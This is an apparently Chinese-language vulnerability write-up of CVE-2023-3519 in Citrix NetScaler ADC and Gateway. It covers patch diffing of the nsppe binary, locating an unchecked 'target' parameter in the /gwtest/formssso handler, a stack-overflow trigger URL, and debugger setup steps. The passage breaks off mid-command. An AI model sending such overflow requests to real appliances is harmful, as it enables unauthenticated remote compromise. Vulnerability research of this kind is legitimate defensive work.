CVE-2023-3519漏洞分析
一 影响范围。
NetScaler ADC 和 NetScaler Gateway 13.1 < 13.1-49.13。
NetScaler ADC 和 NetScaler Gateway 13.0 < 13.0-91.13。
NetScaler ADC 13.1-FIPS < 13.1-37.159。
NetScaler ADC 12.1-FIPS < 12.1-55.297。
NetScaler ADC 12.1-NDcPP < 12.1-55.297。
二 分析背景。
Citrix宣布Citrix ADC 和 Citrix Gateway 中存在未经身份验证的远程代码执行漏洞。(CVE-2023-3519)。
当前分析版本ADC 13.0-47.24。
nsppe这个可执行文件没有现代内存损坏缓解措施,例如 ASLR 或 DEP,这些措施目前已有 20 多年的历史。这意味着内存地址不会改变,并且我们可以直接从堆栈运行有效负载。
我们在使用网上公开的poc会发现,不是所有的Citrix ADC都可以使用,以msf为列。也只记录了四个版本,分别是13.1-48.47,13.0-91.12,12.1-65.25,12.1-64.17。那遇见存在漏洞,又没有对应poc的其他版本我们又该怎么处理呢?接下来就给大家讲一讲该漏洞利用的具体细节以及poc
三 需要工具。
Ghidra,IDA,Citrix ADC13.0-47.24,python,X-Ways Forensics。
⦁ CVE-2023-3519漏洞分析
使用 Ghidra 对nsppe文件进行反编译。由于二进制文件太大,需要调整一些 Ghidra 反编译设置。我们将“编辑”->“工具选项”->“反编译器”下的反编译器资源增加到以下内容。
⦁ 缓存大小(功能):2048
⦁ 反编译器最大有效负载(MB):512
⦁ 反编译器超时(秒):900
⦁ 每个功能的最大指令数:3000000
反编译每个二进制文件后,为每个二进制文件生成一个BinExport Ghidra 扩展名的 BinDiff 文件。然后在 BinDiff 中对它们进行比较,我们开始查看更改的每个函数。对于大多数函数,我们没有直接在 BinDiff 中比较它们,而是从 Ghidra 中,获取函数的反编译代码,并进行文本比较。
找到ns_aaa_gwtest_get_event_and_target_names函数,在代码的修补版本中,看到了附加长度检查的内容。
跟踪ns_aaa_gwtest_get_event_and_target_names的调用过程,找到触发函数调用的url路径。
四 漏洞复现
1 获取nsppe
从服务器虚拟机中提取nsppe,通过“X-Ways Forensics”工具打开NSVPX-ESX-13.0-47.24_nc_64-disk1.vmdk,
2 提取nsppe
从虚拟机中看nsppe的路径是/netscaler/nsppe,但是实际在虚拟机磁盘vmdk文件中未找到这个文件。
新建一个磁盘test,查找磁盘,如下所示。
root@ns# ls /dev/ | grep da
da0 //第一块磁盘
da0p1
da0p2
da0p3
da1 //第二块磁盘
创建格式化分区,挂载分区。如下所示。
gpart create -s gpt da1 //创建GPT分区
gpart add -t freebsd-ufs -s 1G da1 //t代表type,s代表size
newfs -j /dev/da1 //格式化分区
mount /dev/da1 /mnt/test //挂载分区
使用cp /netscaler/nsppe /mnt/test/nsppe命令,拷贝nsppe到新建的磁盘分区。通过“X-Ways Forensics”工具打开NSVPX-ESX-13.0-47.24_nc_64_test.vmdk,提取nsppe。
3 IDA分析nsppe
使用IDA分析nsppe,ns_aaa_saml_url_decode。ns_aaa_gwtest_get_event_and_target_names(url > ?event=start&target=)(该函数对target查询参数进行 URL 解码,不进行长度检查)(未补丁版本存在栈溢出攻击, 补丁版本添加了长度检查)。ns_aaa_gwtest_get_valid_fsso_server(未补丁版本,栈溢出覆盖了ns_aaa_gwtest_get_valid_fsso_server的返回地址)。如图所示。
获取函数对应的url,ns_aaa_gwtest_handler(url -> /formssso),
ns_vpn_process_unauthenticated_request(url -> /gwtest/)。
编写溢出攻击对应的url。
https://192.168.1.225/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
4 调试 Citrix NetScaler
禁用pitboss(“看门狗定时器”)。
root@ns# /netscaler/nspf nsppe-00 pbmonitor 0
nspf NSPPE-00 pbmonitor 0
Removing pitboss monitor on process NSPPE-00 pid 11623
获取nsppe的进程id。
root@ns# ps aux | grep nspe
root 11623 99.0 43.0 691272